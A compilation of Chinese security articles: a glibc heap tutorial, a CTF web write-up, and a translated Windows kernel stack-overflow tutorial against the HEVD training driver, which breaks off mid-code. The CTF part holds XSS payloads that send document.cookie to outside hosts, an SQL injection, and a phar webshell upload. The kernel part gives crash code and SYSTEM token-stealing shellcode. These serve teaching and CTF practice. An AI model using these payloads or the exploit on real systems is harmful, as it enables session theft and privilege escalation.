* 在 64 位系统中这个值是 16 个字节，在 32 位系统中是 8 个字节
* 例如，如果代码中是 malloc(0) 的话， **堆管理器也会分配最小内存空间给你**
2.第二个 8 字节是 pre size 字段的大小（32 位的为 4 字节）
3.第三个 8 字节为 size 字段的大小（32 位的为 4 字节）
4.最后一个 1 字节是 **PREV_INUSE 的值，只有 0 或 1两个值**
说了这么多的理论肯定会有点头大，不过没关系。在后面会有实例讲解，动手调试的时候对照着每一个字段分析就会好点。
## 指针与地址
指针这一块知识在 c 语言里学的不太好的，可以在学习堆的过程中慢慢巩固一下知识。
* 熟练掌握指针的使用在堆的题目分析中还是很有帮助的。下面简单说一下堆分配中的指针会用到了地方。
首先要明确用户在调用 malloc 函数时返回的值为 **一个指针，指向分配到堆空间（用户数据区）** ，这个在最前面的那个图片也已经标出来了。
有时候题目是以更复杂的情况，用指针来表示某个数据结构的，例如下面的这个图中的例子：
first chunk（second chunk）表示第一和第二个结构， **每个结构中都有一个 point_heap
指针来指向存储用户数据的堆块（chunk）。**
**左边的这个本身就是一个堆块，用来存放一些全局信息** 。比如 max_size 存储了能够存储的最大结构数量；exist_num
表示已经存储的结构的数量。
### IDA 中常见的指针表示形式
在 IDA 伪代码中的指针形式形如下面的情况：
*(qword_6020A8 + 8)
**表示取到 qword_6020A8 这个地址加 8 偏移的那个地址存储的值**
汇编代码等同于：
.text:0000000000400F85 mov rax, cs:qword_6020A8
.text:0000000000400F8C mov rax, [rax+8]
简单转化一下，也就是：
*(addr) = [addr]
### 链表
在 pwn 的堆题目中，经常会有像一些”笔记管理系统”之类的题目，例如下面这里例子
代码提供了最基本的增删查改的功能。这个”笔记”的数据结构 **通常就是使用链表连接起来的** ，记录了当前 note 的大小、属性、内容等等。
**例如，下面这个例子就是以指针为基础来存储这个 note 结构的** 。这里的 i 代表 note 的索引，若这里的 i = 0 时：
_(qword_6020A8 + 16) 就 _*代表从 qword_6020A8 这个地址出再往后偏移 16 个字节，取到这个地址存储的值，接着把 1
赋值给这个地方（也就是把 1 存入这个地址）__
同样的 *(qword_6020A8 + 24) 就代表偏移 24 个字节处的值为 len
依次类推就可以在 **不连续的内存空间中** ，把整个 note 的数据结构存储下来了。
## 申请堆块的本质
> 堆管理器 ptmalloc2 主要是通过 malloc/free 函数来分配和释放内存块。
ptmalloc2 的作用通俗的讲就是 **相当于一个”中间商”** ，在程序想要申请向系统申请堆空间时，这里的 ptmalloc2
就会申请一块很大的空间，并根据算法从这些内存中把空间真正的分配给程序。
简单点说就是下面这个图中的情况：
这里的举一个最简单的例子：
#include <stdlib.h>
#include <malloc.h>
int main(){
char *p;
p = malloc(10);
return 0;
}
在 gdb 中进行调试，在 call malloc 处下一个断点， **在这里使用 vmmap 命令，查看内存分布** 。可以看到此时并没有发现堆段
单步 n ，vmmap 命令再次查看内存，发现出现了堆段
但是这里我们明明只是申请了 10 字节的大小，但是为什么这里的为什么给了这么大的堆段呢？
0x00602000 ~ 0x00623000
计算一下，刚好是 132 kB
(0x00623000-0x00602000)/1024 = 132 kB
> 原来这132KB的堆空间叫做arena，此时因为是主线程分配的，所以这个区域叫做 main arena
也就是说这 132 KB 是”厂家”（内核）批发给”中间商”（ptmalloc2）的货物，
**以便下次程序在向系统申请小内存的时候，直接去”中间商”去取就行了** ，他就会在这 132KB
中按照要申请”货物”的多少进行分配下去。若”中间商”缺货了话，ptmalloc2 就继续去找”厂家”（系统内核）去取货
### 查看已分配的堆内存分布
在上面我们动态调试的时候已经执行了 malloc 函数，申请到的堆指针是保存在 eax 中的
我们这里使用下面这个命令来查看内存堆块情况：
x/32gx 0x602010-0x10
* 32位的程序使用 x/32xw 比较直观一点
这里减去 0x10 表示从堆块的头部开始观察（包含 pre size 和 size 字段）
## main_arena 与 top chunk
### main_arena
这个 main_arena 其实就是 ptmalloc2 堆管理器通过与操作系统内核进行交互申请到的，也就是相当于上面所说的”批发”到的一堆货物
> 因为是主线程分配的，所以叫做main arena，通过增加 program break location 的方式来增加 main arena 的大小。
**使用 brk 方式扩展内存的方式这里就不说了，感兴趣可以自己去查一下资料**
参考 ctf-wiki：
<https://ctf-wiki.github.io/ctf-wiki/pwn/linux/glibc-heap/heap_overview/#_4>
在 gdb 调试中，使用
x/32gx &main_arena
可以看到 main_arena 的内存分配情况。
### top chunk
顾名思义，是堆中第一个堆块。相当于一个”带头大哥”，程序以后分配到的内存到要放在他的后面。
> 在系统当前的所有 free chunk(无论那种 bin)，都无法满足用户请求的内存大小的时候，将此 chunk 当做一个应急消防员，分配给用户使用。
简单点说，也就是在程序在向堆管理器申请内存时， **没有合适的内存空间可以分配给他，此时就会从 top chunk 上”剪切”一部分作为 chunk
分配给他**
## free 函数和 bins
bins 这个概念是与内存回收相关的，也就是堆管理器会根据用户已经申请到的内存空间大小进行释放， **来决定放入哪类 bins 当作去** 。bins
直接翻译过来就是”垃圾桶”的意思，所以在系统在决定使用哪个 bins 时可以看作为”垃圾的分类”。
主要的 bins 分为以下几类，这里重点讲解一下 fast bin，因为 fast bin 是使用到的最多的一类，也是其中结构最为简单的。
### free 函数
free 函数的使用是和 bins 的分配息息相关的。用一个简单的例子来理解一下 free 函数的实现原理。
代码如下：
#include <stdlib.h>
#include <string.h>
int main(){
char *p;
p = malloc(10);
memcpy(p,"Hello",5);
free(p);
return 0;
}
* 程序将 “Hello” 字符串复制到申请到的堆内存空间中。
编译后用 gdb 调试，在 call memcpy 处下一个断点，单步后将 “Hello” 复制到堆块中
继续使用 x/32gx 0x602010-0x10 命令查看堆块情况
继续单步 n，执行 free 函数之后，查看堆块情况
这里可以看出原本堆块中存储的内容已经被清空，然后 **查看一下 main_arena 的值，发现其中 +0x8 的偏移处** ，存储了指向已经 free
了的指针（指向头部，而不是 user data）
**小总结**
所以调用 free 函数以后程序做了两件事：
**1.清空此堆块的 user data
2.将此堆块的指针存储到 main_arena 中了（或是 fast bin 中）**
### fast bin
顾名思义，就是为了快速重新分配回内存而存在的一个结构。
> fastbin所包含chunk的大小为16 Bytes, 24 Bytes, 32 Bytes, … , 80
> Bytes。当分配一块较小的内存(mem<=64
> Bytes)时，会首先检查对应大小的fastbin中是否包含未被使用的chunk，如果存在则直接将其从fastbin中移除并返回；否则通过其他方式（剪切top
> chunk）得到一块符合大小要求的chunk并返回。
引用一张图：
* 这里的横向排列的就是 main_arene（fast bin）的内存地址
假如此时 0x0804a000 处的堆块（实际堆块中的 size 字段要减去 PREV_INUSE 字段值 1，）已经被 free 了，那么他就会被存储
**在表示 40 bytes 的 fast bin 的内存地址里**
* 注意： **这里把指针和地址区别开。地址存储的是指针，64 位的指针占 8 个字节** 。
**假设我们现在还是以 64 位下的 malloc(10) 为例子。**
根据前面那个 free 函数的例子，查看 main_arena 地址中的指针值我们可以看出来， **+0x8 偏移处才是指向 malloc(10)
的堆块的指针** （这个堆块分配后的 user data 实际大小是 16 字节）
gdb-peda$ x/2gx &main_arena (16 bytes 的链表头)
0x7ffff7dd3760 <main_arena>: 0x0000000000000000 0x0000000000602000
所以这个 16 字节的堆块的指针会被插入属于他的这个链表队列中，也就是如下的情况。
所以这也就印证了在 main_arena 中分别表示 16 Bytes, 24 Bytes, 32 Bytes, … , 80 Bytes
的内存地址中分别存储着已经 free 的而且满足这个大小的 chunk的指针。
**fast bin 的特性**
**1.使用单链表来维护释放的堆块**
也就是和上图一样，从main_arena 到 free 第一个块的地方是采用单链表形式进行存储的，若还有 free 掉的堆块，则这个堆块的 fk
指针域就会指针前一个堆块。
如下图所示，此时就是一个单链表结构
**2.采用后进先出的方式维护链表（类似于栈的结构）**
当程序需要重新 malloc 内存并且需要从fastbin 中挑选堆块时， **会选择后面新加入的堆块拿来先进行内存分配**
如上图，如果程序重新请求和上面的堆块大小一样时候（malloc），堆管理器就会直接使用 fast bin 里的堆块。
**这里的话也就是直接使用第二次释放的这个堆块，然后将这个堆块从链表中移除，接着根据堆块的 fk 指针找到这个堆块** ，此时 main_arena
就指向了这里。也就是恢复到了上面第一个图中的情况。
### small bin
顾名思义，这个是一个 small chunk ，满足的内存空间比 fast bin 大一点。
如果程序请求的内存范围不在 fast bin 的范围内，就会考虑small bin。简单点说就是大于 80 Bytes 小于某一个值时，就会选择他。
### unsorted bin
> 当 fast bin、small bin 中的 chunk 都不能满足用户请求 chunk 大小时，堆管理器就会考虑使用 unsorted bin
> 。它会在分配 large chunk 之前对堆中碎片 chunk 进行合并，以便减少堆中的碎片。
* unsorted bin 与 fast bin 不同，他使用 **双向链表** 对 chunk 进行连接
* unsorted 的字面意思就是”不可回收”的意思，可以看作将不可回收的垃圾（不满足能够进行内存分配的堆块）都放到这个”垃圾桶”中。
## 总结
总之想要通透的理解堆这个概念，还是要多写一点小程序动手调试，多看看网上大牛们的文章。另外可以多逛逛一些想看雪这样的专业论坛，也可以收获到很多东西。
这里只是对自己已经接触过的知识进行一些自我感觉比较通俗易懂的方式进行总结，文章中的错误在所难免，望大牛们能够谅解。
## 参考文章
[Linux堆内存管理深入分析](https://www.cnblogs.com/alisecurity/p/5486458.html)
[堆入门的必备基础知识](https://bbs.ichunqiu.com/thread-46714-1-1.html)
[浅析Linux堆溢出之fastbin](https://www.freebuf.com/news/88660.html)
<https://ctf-wiki.github.io/ctf-wiki/pwn/linux/glibc-heap/heap_implementation_details/#_2> | 社区文章 |
### 0x00 Background
上周六打了POSIX make的6个Web CTF challenge（含一个 revenge）
(有一个只是披着web壳子的pwn,所以就不提了)，觉得这些题目有复盘的必要 难度中等 思路有趣，故写此文
### 0x01 Cyberchef
开局一个cyberchef
版本比较新 但是因为他给了一个bot 所以不难猜测应该是个xss,于是 直接github搜issue
<https://github.com/gchq/CyberChef/issues/1265>
这有一个在scatter chart里面的
因为在`<svg>`里面对color这没什么转义 导致可以直接xss
Scatter chart 和Series chart里面都存在
于是直接构造payload 直接打bot就行
#recipe=Scatter_chart('Line%20feed','Space',false,'','','red%22%3E%3Cscript%3Edocument.location='webhook.xxx?cookie='%20+%20document.cookie;%3C/script%3E',100,false)&input=MTAwLCAxMDA
然后直接在webhook收米即可
觉得这题很简单 不过是个search题 但是赛后听POSIX说他不知道有未修复的xss 他其实是想让大家挖他发现的0day的(
import requests
payload = "http://cyberchef:8000/#recipe=JPath_expression('$..%5B?((%7B__proto__:%5B%5D.constructor%7D).constructor(%22self.postMessage(%7Baction:%5C'bakeComplete%5C',data:%7BbakeId:1,dish:%7Btype:1,value:%5C'%5C'%7D,duration:1,error:false,id:undefined,inputNum:2,progress:1,result:%5C'%3Ciframe/onload%3Dfetch(`http://p6.is/flag?${document.cookie}`)%3E%5C',type:%20%5C'html%5C'%7D%7D);%22)();)%5D','%5C%5Cn')&input=W3t9XQ"
print(payload)
res = requests.post('http://1.230.253.91:8001/report', data = {
'url': payload
}, allow_redirects = False)
print(res.text);
print(res.headers);
这里贴出他的预期payload 污染了构造器然后fetch一个xss
### 0x02 CyberHeadChef
在比赛中 POSIX就发现了他的题目被非预期了 于是他在bot那里直接ban掉了chart字样
意图让我们不使用 Scatter chart 和Series chart 用他的预期0day
但是他的bot用的是chrome
而chrome浏览器会忽略一些不可见字符 比如%00
所以很轻松就bypass掉了
`#recipe=Scatter_cha%00rt`
再发送链接给boot
Get flag
### 0x03 not_e
一道有意思的题目 首先登录 然后有个发表note的功能
可以看到在这里会插入 title content 最后的req.session.login也就是用户名
产生漏洞的地方主要是这里的处理 如果在标题上使用?被替换为空之后 我们就可以注入自己想注入的东西 再将无用的东西注释掉
比如 我们插入
insert into posts values (?, ?, ?, ?)", ["noteid", "?", ",test", "userid"]);
会变成
insert into posts values ("noteid", "",test"", ?, ?)
在能插入的,test这里替换查flag的sql语句即可 然后注意要满足insert的列数
最后payload
title=?&content=,(select flag from flag),'test[]') -- - //注意这里面的test[]是你自己用户名
成功获得flag
### 0x04 Gnuboard
我最喜欢的一道题 是一个韩国的系统 并且放出hint是个0day 但并不是个非常hardcore的0day,很高兴自己独立审了出来
首先关注这里 把flag写在common.php里 这并不常见，看到这里我几乎可以肯定他并不是让我们rce 可能是文件读取之类的
所以我的策略是关注common.php文件本身和调用common.php的文件
简单看了common.php并没有发现什么很关键的东西
我进行了正则匹配 匹配包含进common.php的文件
最后定位了一个文件 /shop/inicis/instdpay_result.php
我注意到这里有可变变量 那就是可能存在变量覆盖 因为他包含进了common.php 所以我们把$netcanceResultString赋值为flag即可
然后要做的就是观察我们可控点
在这里可以看见 我们要走进代码体首先需要把resultCode设置为0000
并且authtoken authurl netcanceurl 我们都是可控的 着重关注下这些点
观察我们想要走进catch 得到这个可变变量 而且使用的new Httpclient 来请求网站获取body
所以把authurl设置成一个不可访问的网站 把netCancelUrl设置成我们服务器的一个页面随便打印出来一个值即可
最终构造payload:
http://1.230.253.91:5000/shop/inicis/inistdpay_result.php?authUrl=https://test.com&resultCode=0000&netCancelUrl=https://服务器/1.php&a=flag
1.php的内容很容易
<?php
echo "a"
?>
成功获取到flag
### 0x05 Marked
一个0解题
/new路由跟not_e一样能发一个note
并且这里面会把markdown to html 但是他用了sanitize过滤
所以我们要注意html的解析器 可以在这里看到他使用了node-html-parser
在比赛中我也没了思路 不知道怎么解决
等到后来posix发了一个脚本
<https://github.com/posix-lee/jsfuxx>
专门用来fuzz一下可以使用的字符来摧毁node-html-parser来bypass html sanitize
最后放上posix的利用脚本
import requests, random
HOST = 'http://1.230.253.91:3000'
s = requests.Session()
res = s.post(HOST + '/login', {
'username': 'posix',
'password': '1337'
})
res = s.post(HOST + '/new', {
'title': 'abcd',
'content': "</header <a><a\t><h<a\x0Bstyle='animation-name:spinner-donut-anim'onanimationend='fetch(`http:\\x2f\\x2fp6.is\\x2fflag\\x2f${document.cookie}`)' "
})
print(res.text)
### 0x06 xpressengine
xpressengine是棒子的一个phpcms
看赛后wp posix说在媒体处上传phar来getshell 我们简单跟一下代码
/core/src/Xpressengine/MediaLibrary/MediaLibraryHandler.php
直接定位file后缀检查
这里看不到黑白名单 可以直接跟进Xestorage::upload
继续跟进validate
在这里我们可以直接看见mimeFilter
在构造方法里面直接加一条打印的查看结果
array (
'black' =>
array (
'pdf' => 'application/pdf',
'mid' => 'audio/midi',
'midi' => 'audio/midi',
'mpga' => 'audio/mpeg',
'mp2' => 'audio/mpeg',
'mp3' => 'audio/mpeg',
'aif' => 'audio/x-aiff',
'aiff' => 'audio/x-aiff',
'aifc' => 'audio/x-aiff',
'ram' => 'audio/x-pn-realaudio',
'rm' => 'audio/x-pn-realaudio',
'rpm' => 'audio/x-pn-realaudio-plugin',
'ra' => 'audio/x-realaudio',
'rv' => 'video/vnd.rn-realvideo',
'wav' => 'audio/x-wav',
'jpg' => 'image/jpeg',
'jpeg' => 'image/jpeg',
'jpe' => 'image/jpeg',
'png' => 'image/png',
'gif' => 'image/gif',
'bmp' => 'image/bmp',
'tiff' => 'image/tiff',
'tif' => 'image/tiff',
'mpeg' => 'video/mpeg',
'mpg' => 'video/mpeg',
'mpe' => 'video/mpeg',
'qt' => 'video/quicktime',
'mov' => 'video/quicktime',
'avi' => 'video/x-msvideo',
'movie' => 'video/x-sgi-movie',
'3g2' => 'video/3gpp2',
'3gp' => 'video/3gp',
'mp4' => 'video/mp4',
'm4a' => 'audio/x-m4a',
'f4v' => 'video/mp4',
'webm' => 'video/webm',
'aac' => 'audio/x-acc',
'm4u' => 'application/vnd.mpegurl',
'wmv' => 'video/x-ms-wmv',
'au' => 'audio/x-au',
'ac3' => 'audio/ac3',
'flac' => 'audio/x-flac',
'ogg' => 'audio/ogg',
'wma' => 'audio/x-ms-wma',
'ico' =>
array (
0 => 'image/x-icon',
1 => 'image/vnd.microsoft.icon',
),
'php' => 'application/x-httpd-php',
'php4' => 'application/x-httpd-php',
'php3' => 'application/x-httpd-php',
'phtml' => 'application/x-httpd-php',
'phps' => 'application/x-httpd-php-source',
'js' => 'application/javascript',
),
黑名单里面发现没过滤phar
上传一个phar 的木马
Get flag
hsctf{860e27b9898e2510c14fa0f5efcd44f53437827aac9e26b8b8e792ce95b04ae2}
### 0x07 参考文章
posix的官方解析:<https://gist.github.com/posix-lee/cf5953b2d1157695fc2e61951182c020>
题目平台:<https://ctf.hayyimsecurity.com/challenges> | 社区文章 |
# 【技术分享】Windows 内核攻击：栈溢出
|
##### 译文声明
本文是翻译文章，文章来源：osandamalith.com
原文地址：<https://osandamalith.com/2017/04/05/windows-kernel-exploitation-stack-overflow/>
译文仅供参考，具体内容表达以及含义原文为准。
****
翻译：[村雨其实没有雨](http://bobao.360.cn/member/contribute?uid=2671379114)
预估稿费：200RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**
**
**介绍**
本文介绍了在[HackSysExtremeVulnerableDriver](https://github.com/hacksysteam/HackSysExtremeVulnerableDriver)上的一次基于栈的缓冲区溢出攻击。
Windows有很多种驱动需要我们了解，比如用于开发的驱动、用于调试的驱动。本文将仅关注对于开发驱动的攻击，与此同时我也会简要介绍其内部结构。在阅读本文时，我们假设您已经具有了C语言基础、用户级调试(debugging
in the userland)的相关经验。
该驱动是内核驱动，驱动程序通常用于将代码导入内核。未处理的异常将会导致“死亡蓝屏”(Blue Screen of Death)。此处我使用Windows 7
32位系统进行演示，因为它不支持SMEP (Supervisor Mode Execution Prevention) 或 SMAP (Supervisor
Mode Access
Prevention)。换言之，当SMEP启用时，只要ring0尝试从标有用户位的页面执行代码，CPU就会故障。而当它未被启用时，我们就能通过shellcode窃取系统的token。您可以通过阅读Shellcode分析部分来进行验证。在64位系统上触发该漏洞需要不同的利用代码。
您可以通过[OSR Driver
Loader](https://www.osronline.com/article.cfm?article=157)来将驱动程序导入系统，而如果要使用windbg来调试机器，您可以用[VirtualKD](http://virtualkd.sysprogs.org/)或[LiveKD](https://technet.microsoft.com/en-us/sysinternals/livekd.aspx)。
您可以使用VirtualBox或VMware添加新的串行连接，来通过windbg调试guest虚拟机系统。我将使用VMware的串行连接。
关于内核数据结构，可以参考[这里](http://www.codemachine.com/article_kernelstruct.html)，我大多是用它来作结构上的参考。
当驱动注册完毕后，你可以看到"msinfo32"
如果检查系统进程中已加载模块，可以看到我们的内核驱动"HEVD.sys"
在windbg中，能够看到debug输出了HEVD的logo
查看已加载模块能够看到HEVD
**漏洞**
漏洞位于"memcpy"函数中，在[这里](https://github.com/hacksysteam/HackSysExtremeVulnerableDriver/blob/master/Driver/StackOverflow.c)已经有了详尽的分析
**驱动分析**
为了创建驱动程序的句柄，我们将使用"CreateFile"的API。为了从用户界面与驱动程序通信，我们将使用"DeviceIoControl"API。我们必须指定正确的IOCTL代码来触发栈溢出的漏洞。Windows使用I/O请求数据包(IRPs)来描述对内核的I/O请求。IRP调度程序储存在"MajorFunction"数组中。Windows具有预定义的一组IRP的主要功能，用于描述来自用户界面的每个I/O请求。每当收到来自用户界面的I/O请求，I/O管理器都将调用相应的IRP主要功能处理程序。例如，当"CreateFile"被调用时，"IRP_MJ_CREATE"这一IRP主要功能就会来进行处理，当"DeviceIoControl"被调用时，"IRP_MJ_DEVICE_CONTROL"就会进行处理。在该驱动程序的驱动功能上，我们能看到以下内容：
为了调用"DeviceIoControl"，我们需要找到相应的IOCTL代码。由于我们有源码，这一过程可以通过查找来实现，或者我们还可以去逆向分析已经编译好的驱动。IOCTF即I/O
控制代码，它是一个32位整数，用于用于对设备类型，操作特定代码，缓冲方法和安全访问进行编码。我们使用CTL_CODE宏来定义IOCTLS。要触发堆栈溢出漏洞，我们必须使用“HACKSYS_EVD_IOCTL_STACK_OVERFLOW”IOCTL代码。
[https://github.com/hacksysteam/HackSysExtremeVulnerableDriver/blob/master/Driver/Common.h](https://github.com/hacksysteam/HackSysExtremeVulnerableDriver/blob/master/Driver/Common.h)
您可以在漏洞利用过程中使用上述的宏，或者使用IDA来定位跳转到位于“IrpDeviceIoCtlHandler”例程的栈溢出IOCTL代码
在windbg中，您可以查看HEVD的驱动程序信息。在偏移0x38这里，您可以看到'MajorFunction'数组。
要找到'IrpDeviceIoCtlHandler'例程，我们可以执行这个指针运算。0xe是IRP_MJ_DEVICE_CONTROL的索引。一旦我们重新组装了指针，我们就可以看到我们找到了正确的例程。
可以在windbg中进一步分析这个例程，查看这个0x222003 IOCTL在哪里。
如果我们遵循jz指令，则会导致堆栈溢出程序打印调试消息"** HACKSYS_EVD_STACKOVERFLOW **"
**触发漏洞**
既然我们已经了解了IOCTL指令，现在让我们来触发这个漏洞。我将向其发送一个巨大的缓存，最终将造成蓝屏
// 源码地址：https://github.com/OsandaMalith/Exploits/blob/master/HEVD/StackOverflowBSOD.c
#include "stdafx.h"
#include <Windows.h>
#include <string.h>
/*
* Title: HEVD x86 Stack Overflow BSOD
* Platform: Windows 7 x86
* Author: Osanda Malith Jayathissa (@OsandaMalith)
* Website: https://osandamalith.com
*/
int _tmain(int argc, _TCHAR* argv[])
{
HANDLE hDevice;
LPCWSTR lpDeviceName = L"\\.\HacksysExtremeVulnerableDriver";
PUCHAR lpInBuffer = NULL;
DWORD lpBytesReturned = 0;
hDevice = CreateFile(
lpDeviceName,
GENERIC_READ | GENERIC_WRITE,
FILE_SHARE_WRITE,
NULL,
OPEN_EXISTING,
FILE_FLAG_OVERLAPPED | FILE_ATTRIBUTE_NORMAL,
NULL);
wprintf(L"[*] Author: @OsandaMalithn[*] Website: https://osandamalith.comnn");
wprintf(L"[+] lpDeviceName: %lsn", lpDeviceName);
if (hDevice == INVALID_HANDLE_VALUE) {
wprintf(L"[!] Failed to get a handle to the driver. 0x%xn", GetLastError());
return -1;
}
wprintf(L"[+] Device Handle: 0x%xn", hDevice);
lpInBuffer = (PUCHAR)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, 0x900);
if (!lpInBuffer) {
wprintf(L"[!] Failed to allocated memory. %x", GetLastError());
return -1;
}
RtlFillMemory(lpInBuffer, (SIZE_T)1024*sizeof DWORD, 0x41);
wprintf(L"[+] Sending IOCTL request with buffer: 0x222003n");
DeviceIoControl(
hDevice,
0x222003, // IOCTL
(LPVOID)lpInBuffer,
2084,
NULL,
0,
&lpBytesReturned,
NULL);
HeapFree(GetProcessHeap(), 0, (LPVOID)lpInBuffer);
CloseHandle(hDevice);
return 0;
}
//EOF
这里是Python版
# https://github.com/OsandaMalith/Exploits/blob/master/HEVD/StackOverflowBSOD.py
from ctypes import *
from ctypes.wintypes import *
# Title : HEVD x86 Stack Overflow BSOD
# Platform: Windows 7 x86
# Author: Osanda Malith Jayathissa (@OsandaMalith)
# Website: https://osandamalith.com
kernel32 = windll.kernel32
def main():
lpBytesReturned = c_ulong()
hDevice = kernel32.CreateFileA("\\.\HackSysExtremeVulnerableDriver", 0xC0000000, 0, None, 0x3, 0, None)
if not hDevice or hDevice == -1:
print "[!] Failed to get a handle to the driver " + str(ctypes.GetLastError())
return -1
buf = "x41" * (1024 * 4)
bufSize = len(buf)
bufPtr = id(buf) + 20
kernel32.DeviceIoControl(hDevice, 0x222003, bufPtr, bufSize, None, 0,byref(lpBytesReturned), None)
if __name__ == '__main__':
main()
# EOF
如果我们将缓冲区大小更改为0x900，您可以看到我们可以看到EIP点到我们的缓冲区。
开发这个驱动程序的漏洞与开发一个用户空间应用程序的漏洞非常相似。现在我们必须找到我们覆盖返回地址的偏移量，以便EIP指向它。我将使用Mona创建一个0x900的模式。
发送这个长缓冲区后，我们可以看到EIP包含值0x72433372（r3Cr）。
让我们用Mona找到偏移。
偏移量为2080.覆盖EBP寄存器的偏移量为2080 – 4 = 2076. POP EBP，RET。
**Shellcode分析**
首先，我们保存所有寄存器的状态以避免任何BSOD。接下来，我们清除eax寄存器，并将_KPCR.PcrbData.CurrentThread移动到eax中。我们先来探讨KPRC（内核处理器控制区）的结构。KPCR包含由内核和HAL（硬件抽象层）共享的每CPU信息。它将存储有关CPU状态和信息的关键信息。它位于32位Windows系统索引为0的FS段寄存器的基址，[FS：30]，64位系统位于GS段寄存器[GS：0]中。
我们可以在偏移量0x120处看到它指向“PrcData”，它是类型为KPRCB（内核处理器控制块）的结构。此结构包含有关处理器的信息，如当前运行的线程，下一个运行线程，类型，模型，速度等。
如果我们探索“PrcData”_KPRCB结构，我们可以在偏移0x4'CurrentThread'找到_KTHREAD（内核线程）结构。此结构嵌入在ETHREAD结构内。ETHREAD结构由Windows内核用来表示系统中的每个线程。这由[FS：0x124]表示。
mov eax, [fs:eax + 0x124]
紧接着_KTHREAD.ApcState.Process被提取到EAX中。在此我们来探讨下_KTHREAD结构。在偏移量0x40处，我们可以找到“ApcState”，它是_KAPC_STATE。当线程附加到另一进程时，KAPC_STATE用于保存排队到线程的APC列表（异步过程调用）。
如果进一步了解_KAPC_STATE结构，我们可以找到一个指向当前进程结构的指针，偏移量为0x10，“Process”为_KPROCESS结构。KPROCESS结构嵌入在EPROCESS结构内，它包含调度相关信息，如线程，量子，优先级和执行时间。这是在shellcode中完成的
mov eax, [eax + 0x50]
我观察到了一个与“PsGetCurrentProcess”函数中使用的方法相同的方法。此函数使用与此shellcode相同的指令来获取当前的EPROCESS。
如果我们探索这个结构，我们可以看到偏移0xb4的'UniqueProcessId'值为0x4，这意味着这是'System'进程的PID。在偏移0xb8，您可以找到_LIST_ENTRY数据结构的“ActiveProcessLinks”。在偏移0x16c'ImageFileName'包含值'System'。
_LIST_ENTRY数据结构是双链表。它的头指针是“Flink”，尾部指针是“Blink”。我们可以使用“ActiveProcessLinks”双链表遍历整个系统中的进程并找到“系统”进程。_EPROCESS结构也用于rootkits，以将用户界面的进程隐藏起来。如果您已经在C中完成了算法，则与从双链表中删除节点相似。我们只需将Flink更改为下一个节点，并将Blink更改为上一个节点，从而使我们的进程远离链表。你可能会想知道这个过程是如何工作的。进程只是一个线程容器。真正的交易是与线程。
shellcode中使用以下汇编代码遍历双链表，并查找进程ID为0x4。
SearchSystemPID:
mov eax, [eax + 0x0B8] ; Get nt!_EPROCESS.ActiveProcessLinks.Flink
sub eax, 0x0B8
cmp[eax + 0x0B4], edx ; Get nt!_EPROCESS.UniqueProcessId
jne SearchSystemPID
一旦找到“系统”进程，我们将当前进程的token替换为“系统”进程的token值。“token”的偏移量为0xf8。最后我们恢复寄存器的状态。
mov edx, [eax + 0x0F8] ; Get SYSTEM process nt!_EPROCESS.Token
mov[ecx + 0x0F8], edx ; Replace our current token to SYSTEM
popad
我们可以在运行时使用调试器。例如，我将打开'notepad.exe'。您可以看到它作为普通用户运行。
检查指向“notepad.exe”的_EPROCESS结构的指针，它是853fed28。
指向“System”的_EPROCESS结构的指针是8514a798。
我们来检查'系统'进程的令牌的值。它是0x88e0124b。
我们可以通过取消设置0x88e0124b的最后3位来计算令牌的值。我们可以通过执行按位AND和0x3来做到这一点。
0x88e0124b &~ 3 = 0x88e01248
我们可以通过!process命令验证我们的值是否正确。
之后，我们可以在记事本进程的0xf8处输入系统令牌值到令牌偏移量。
现在，如果我们检查Process Explorer，我们可以看到Notepad.exe作为'NT AUTHORITY / SYSTEM'运行。
**最终的利用代码**
我们映射shellcode函数的地址，以便EIP将跳转到它并执行我们的shellcode。为了确保一切正确，我们可以在调试器中进行分析。我们先来获取'lpInBuffer'的地址。
在偏移2076是EBP覆盖，之后它应该包含指向shellcode函数的指针。
让我们重新组装这个指针。
是的，如果一切正确，它应该指向我们的shellcode函数。
C++版利用代码
//https://github.com/OsandaMalith/Exploits/blob/master/HEVD/StackOverflowx86.cpp
#include "stdafx.h"
#include <Windows.h>
#include <Shlobj.h>
#include <string.h>
/*
* Title: HEVD x86 Stack Overflow Privelege Escalation Exploit
* Platform: Windows 7 x86
* Author: Osanda Malith Jayathissa (@OsandaMalith)
* Website: https://osandamalith.com
*/
#define KTHREAD_OFFSET 0x124 // nt!_KPCR.PcrbData.CurrentThread
#define EPROCESS_OFFSET 0x050 // nt!_KTHREAD.ApcState.Process
#define PID_OFFSET 0x0B4 // nt!_EPROCESS.UniqueProcessId
#define FLINK_OFFSET 0x0B8 // nt!_EPROCESS.ActiveProcessLinks.Flink
#define TOKEN_OFFSET 0x0F8 // nt!_EPROCESS.Token
#define SYSTEM_PID 0x004 // SYSTEM Process PID
VOID TokenStealingPayloadWin7() {
__asm {
pushad; Save registers state
xor eax, eax; Set ZERO
mov eax, fs:[eax + KTHREAD_OFFSET]; Get nt!_KPCR.PcrbData.CurrentThread
mov eax, [eax + EPROCESS_OFFSET]; Get nt!_KTHREAD.ApcState.Process
mov ecx, eax; Copy current process _EPROCESS structure
mov edx, SYSTEM_PID; WIN 7 SP1 SYSTEM process PID = 0x4
SearchSystemPID:
mov eax, [eax + FLINK_OFFSET]; Get nt!_EPROCESS.ActiveProcessLinks.Flink
sub eax, FLINK_OFFSET
cmp[eax + PID_OFFSET], edx; Get nt!_EPROCESS.UniqueProcessId
jne SearchSystemPID
mov edx, [eax + TOKEN_OFFSET]; Get SYSTEM process nt!_EPROCESS.Token
mov[ecx + TOKEN_OFFSET], edx; Replace target process nt!_EPROCESS.Token
; with SYSTEM process nt!_EPROCESS.Token
; End of Token Stealing Stub
popad; Restore registers state
; Kernel Recovery Stub
xor eax, eax; Set NTSTATUS SUCCEESS
add esp, 12; Fix the stack
pop ebp; Restore saved EBP
ret 8; Return cleanly
}
}
int _tmain(int argc, _TCHAR* argv[]) {
HANDLE hDevice;
LPCWSTR lpDeviceName = L"\\.\HacksysExtremeVulnerableDriver";
PUCHAR lpInBuffer = NULL;
DWORD lpBytesReturned = 0;
STARTUPINFO si = { sizeof(STARTUPINFO) };
PROCESS_INFORMATION pi;
hDevice = CreateFile(
lpDeviceName,
GENERIC_READ | GENERIC_WRITE,
FILE_SHARE_WRITE,
NULL,
OPEN_EXISTING,
FILE_FLAG_OVERLAPPED | FILE_ATTRIBUTE_NORMAL,
NULL);
wprintf(L"[*] Author: @OsandaMalithn[*] Website: https://osandamalith.comnn");
